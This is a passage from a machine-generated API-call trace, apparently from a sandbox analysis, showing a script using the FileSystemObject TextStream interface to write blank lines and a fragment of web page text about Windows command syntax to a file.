pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768388, pBstrHelpFile=0x249c8758f60*="韰졵ɉ") returned 0x0 [0148.644] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8756128, pBstrHelpFile=0x249c8758f60*="韰졵ɉ") returned 0x0 [0148.644] malloc (_Size=0x8) returned 0x249c884ee20 [0148.644] malloc (_Size=0x14) returned 0x249ca447870 [0148.645] _snwprintf_s (in: _DstBuf=0x249ca447870, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.645] malloc (_Size=0x4e) returned 0x249c884a540 [0148.645] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.645] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.645] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.645] wcsncpy_s (in: _Destination=0x249ca4d4528, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.645] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.645] free (_Block=0x249ca447870) [0148.645] free (_Block=0x249c884ee20) [0148.645] free (_Block=0x249c884a540) [0148.645] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.645] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.645] SysReleaseString () returned 0x1 [0148.645] CoTaskMemFree (pv=0x249c87614f0) [0148.645] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.645] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.646] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.646] SysAddRefString () returned 0x0 [0148.646] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.646] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.646] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.646] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8756128, pBstrHelpFile=0x249c8758f60*="魰졵ɉ") returned 0x0 [0148.646] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87682c8, pBstrHelpFile=0x249c8758f60*="魰졵ɉ") returned 0x0 [0148.646] malloc (_Size=0x8) returned 0x249c884ed00 [0148.646] malloc (_Size=0x14) returned 0x249ca447830 [0148.646] _snwprintf_s (in: _DstBuf=0x249ca447830, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.646] malloc (_Size=0x4e) returned 0x249c884a540 [0148.646] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.646] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.646] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.646] wcsncpy_s (in: _Destination=0x249ca4d4570, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.646] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.646] free (_Block=0x249ca447830) [0148.646] free (_Block=0x249c884ed00) [0148.646] free (_Block=0x249c884a540) [0148.646] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.647] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.647] SysReleaseString () returned 0x1 [0148.647] CoTaskMemFree (pv=0x249c87618b0) [0148.647] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.647] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.647] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.647] SysAddRefString () returned 0x0 [0148.647] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.647] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.647] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.647] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87682c8, pBstrHelpFile=0x249c8758f60*="ꖰ졵ɉ") returned 0x0 [0148.647] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767968, pBstrHelpFile=0x249c8758f60*="ꖰ졵ɉ") returned 0x0 [0148.647] malloc (_Size=0x8) returned 0x249c884edf0 [0148.647] malloc (_Size=0xae) returned 0x249c884ee60 [0148.647] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x57, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 86 [0148.647] malloc (_Size=0xe8) returned 0x249ca4d5de0 [0148.647] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x74, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.647] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x74, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _MaxCount=0x56 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 0x0 [0148.647] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _SizeInWords=0x74, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.647] wcsncpy_s (in: _Destination=0x249ca4d45b8, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.647] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.648] free (_Block=0x249c884ee60) [0148.648] free (_Block=0x249c884edf0) [0148.648] free (_Block=0x249ca4d5de0) [0148.648] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.648] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.648] SysReleaseString () returned 0x1 [0148.648] CoTaskMemFree (pv=0x249c87617f0) [0148.648] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.648] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.648] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.648] SysAddRefString () returned 0x0 [0148.648] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.648] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.648] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.648] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767968, pBstrHelpFile=0x249c8758f60*="ꁰ졵ɉ") returned 0x0 [0148.649] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767de8, pBstrHelpFile=0x249c8758f60*="ꁰ졵ɉ") returned 0x0 [0148.649] malloc (_Size=0x8) returned 0x249c884edc0 [0148.649] malloc (_Size=0xd0) returned 0x249c884ee60 [0148.649] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x68, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 103 [0148.649] malloc (_Size=0x10a) returned 0x249ca4d5de0 [0148.649] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x85, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.649] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x85, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _MaxCount=0x67 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 0x0 [0148.649] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _SizeInWords=0x85, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.649] wcsncpy_s (in: _Destination=0x249ca4d469a, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.649] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.649] free (_Block=0x249c884ee60) [0148.649] free (_Block=0x249c884edc0) [0148.649] free (_Block=0x249ca4d5de0) [0148.649] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.650] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.650] SysReleaseString () returned 0x1 [0148.650] CoTaskMemFree (pv=0x249c87618b0) [0148.650] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.650] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.650] CoTaskMemAlloc (cb=0x28) returned 0x249c8761610 [0148.650] SysAddRefString () returned 0x0 [0148.650] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.650] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.650] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.650] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767de8, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.650] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767c08, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.650] malloc (_Size=0x8) returned 0x249c884edf0 [0148.650] malloc (_Size=0x14) returned 0x249ca447610 [0148.650] _snwprintf_s (in: _DstBuf=0x249ca447610, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.650] malloc (_Size=0x4e) returned 0x249c884a540 [0148.650] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.651] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.651] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.651] wcsncpy_s (in: _Destination=0x249ca4d479e, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.651] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.651] free (_Block=0x249ca447610) [0148.651] free (_Block=0x249c884edf0) [0148.651] free (_Block=0x249c884a540) [0148.651] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.651] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.651] SysReleaseString () returned 0x1 [0148.651] CoTaskMemFree (pv=0x249c8761610) [0148.651] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.651] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.651] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.652] SysAddRefString () returned 0x0 [0148.652] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.652] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.652] FileSystemObject:IDispatch:GetTypeInfo 